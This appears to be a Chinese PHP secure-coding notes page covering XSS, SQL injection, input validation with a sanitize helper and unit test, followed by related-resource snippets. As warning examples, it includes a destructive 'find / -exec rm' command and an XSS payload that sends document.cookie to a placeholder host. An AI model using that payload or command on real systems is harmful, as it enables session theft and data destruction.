一,用户输入
要求验证所有的用户输入
1,register_globals -->Off
file_exists($module.'.php');
<?php 'find / -exec rm "{}" ";"'; ?>
2,跨站脚本
<?php echo $_GET['js']; ?>
document.location=http://www.ss/cookie.cgi?f='+document.cookie
3,SQL注入
addslashes()特殊字符串转义
4,验证输入
类型验证:
if(!isset($_GET['id']) { } else { $id = (int) $_GET['id']
====>helper function:
function sanitize_vars(&$vars,$signatures){
$tmp = array();
foreach($signatures as $name => $sig) {
if(!isset($vars[$name]) && isset($sig['required']) && $sig['required'])
{
$result = array(
'result' => false,
'cause' => 'parameter '.$name.' not present',
);
return $result;
}
$tmp[$name] = $vars[$name];
if (isset($sig['type'])) {
if(!settype($tmp[$name],$sig['type'])) {
$result = array(
'result' => false,
'cause' => 'parameter '.$name.' convert to '.$sig['type'].'failed',
);
return $result;
};
}
if(isset($sig['function'])) {
$tmp[$name] = $sig['function']($tmp[$name]);
}
}
$vars = $tmp;
$result = array(
'result' => true,
);
return $result;
}
对应测试用例
class TestOfSanize extends UnitTestCase {
function TestOfSanize() {
$this->UnitTestCase();
}
function testRequired() {
$sigs = array (
'id'=>array('required' =>true, 'type' => 'int')
);
$vars = array (
);
$r = sanitize_vars(&$vars,$sigs);
$this->assertFalse($r['result'],$r['cause']);
}
}
$test = &new TestOfSanize();
$test->run(new HtmlReporter());
5,HMAC
鉴定信息关键字散列
散列,代码。
6,异常
7,密码
分享到:
相关推荐
C# Web开发一些通用的公共方法,验证、图片处理公共方法等
这个名为"Web开发通用类"的压缩包包含了一些C#编写的静态类,它们提供了Web开发中常见的功能。让我们逐一深入探讨这些类和它们的用途。 首先,`Utils.cs`文件可能包含了一个名为`Utils`的静态类,它通常是一些实用...
1. 掌握Web开发的基本原理和方法,特别是在Python环境中进行Web开发。 2. 学生应能系统理解Web开发,具备设计和开发Web项目的实际能力。 3. 通过合理的理论和实验课时安排,确保学生有机会运用所学知识在计算机上...
【标题】"Web漂亮的通用后台"所指的是一款设计精美的、适用于多种Web开发语言的后台框架。这个框架旨在提供一个高效、易用且美观的解决方案,帮助开发者快速构建和管理Web应用程序的后端部分。它支持包括ASP、PHP、...
第3章至第12章的内容是进行Web开发各阶段的算法分析,以专题形式讨论了Web应用程序开发中的各种具体问题及其解决方案;第13章到第15章介绍几个具体Web开发应用实例。本书适合Web应用程序开发人员和Web系统管理员阅读...
Web开发新人培训系列主要涵盖了Web开发的几个核心概念,包括协议、经典的Web应用网络模型、上线流程以及实践中的快速迭代与并行开发。这一系列内容对于刚接触Web开发的新人来说,是理解和掌握Web开发基础知识的重要...
在基于C# MVC开发的WEB API通用框架中,开发者通常会设计一套可复用的组件和服务,以提高开发效率和代码质量。这可能包括身份验证、授权、日志记录、错误处理、数据库访问等核心功能。通用框架有助于实现快速开发,...
1.支持所有页面的 enter (使用方法:在要enter 键的按扭上 加上 id = "enter") 2.支持 html include 与 iframe 不同是不包含 <!doctype 。。。等一大堆没用的东西 3.将毫秒时间格式为你想要的格式 4.禁止空格输入 5....
本教程将围绕web开发中的demo展开,通过分析提供的压缩包文件,我们可以学习到多个方面的重要知识点。 首先,我们看到有多种类型的压缩文件,如`.tar.bz2`、`.tar.gz`和`.zip`。这些是常见的归档格式,用于打包和...
这个压缩包文件“开发技术-Web开发面向Web表单的信息抽取通用模型.zip”显然关注的是如何构建一个通用模型来处理Web表单中的数据提取问题。下面我们将深入探讨这一主题。 首先,我们需要理解Web表单的作用。Web表单...
综上所述,"jsp-web开发通用分页标签"是通过创建自定义JSP标签来实现的一种高效、灵活的分页解决方案,能够适应不同项目需求,并优化用户体验。通过学习和实践,开发者可以更好地掌握Web开发中的分页技术,提升项目...
主要内容包括:Tomcat和Java Web开发的基础知识、Java Web开发的高级技术、在Java Web应用中运用第三方提供的实用软件(如Struts、Velocity和Log4J)的方法,以及Tomcat的各种高级功能。 书中内容注重理论与实践相...
由于Java Web技术是SUN公司在Java Servlet规范中提出的通用技术,因此《Tomcat与Java Web开发技术详解》讲解的Java Web应用例子可以运行在任何一个实现了SUN的Servlet规范的Java Web服务器上。随书附赠光盘的内容为...
在IT行业中,原型设计是开发高质量WEB应用的关键步骤之一。"WEB端原型通用元件库"是一个专门为WEB前端和后端交互设计的专业资源集合,旨在提高设计师的效率和一致性。这个元件库包含了各种基本和复杂的组件,能够...
### Web开发通用数据库访问控件(代码):深入解析与应用 #### 一、引言 在Web开发中,数据库访问是不可或缺的一部分,涉及到数据的读取、写入、更新和删除等操作。为了简化这一过程,提高代码的可重用性和效率,...
总的来说,BsTools这样的通用类库是为了解决C# Web开发中的常见问题,提高开发效率,减少重复工作。通过合理使用这些工具类,开发者可以专注于业务逻辑,而不需要关心底层实现的细节。不过,具体的功能和用法还需要...
《精通JSP-Web开发技术与典型应用》的范例代码涵盖了广泛的Web开发知识点,旨在帮助开发者深入理解和熟练掌握JSP技术在实际项目中的运用。JSP(JavaServer Pages)是一种基于Java的动态网页技术,它允许开发者在HTML...
语法吸收了C语言、Java和Perl的特点,利于学习,使用广泛,主要适用于Web开发领域。PHP 独特的语法混合了C、Java、Perl以及PHP自创的语法。它可以比CGI或者Perl更快速地执行动态网页。用PHP做出的动态页面与其他的...
1. **Web.PB模块**:Web.PB是PowerBuilder中用于WEB应用开发的核心组件,它包含一些可以在WEB服务器上运行的程序。当Web服务器接收到请求时,Web.PB会被激活,进而调用PowerBuilder的应用,处理客户端的任务并进行...
1. **Python基础知识**:首先,书中会回顾Python的基础语法,包括变量、数据类型、控制结构、函数以及面向对象编程等概念,为后续的Web开发打下坚实的基础。 2. **Web框架介绍**:Python中有多个著名的Web框架,如...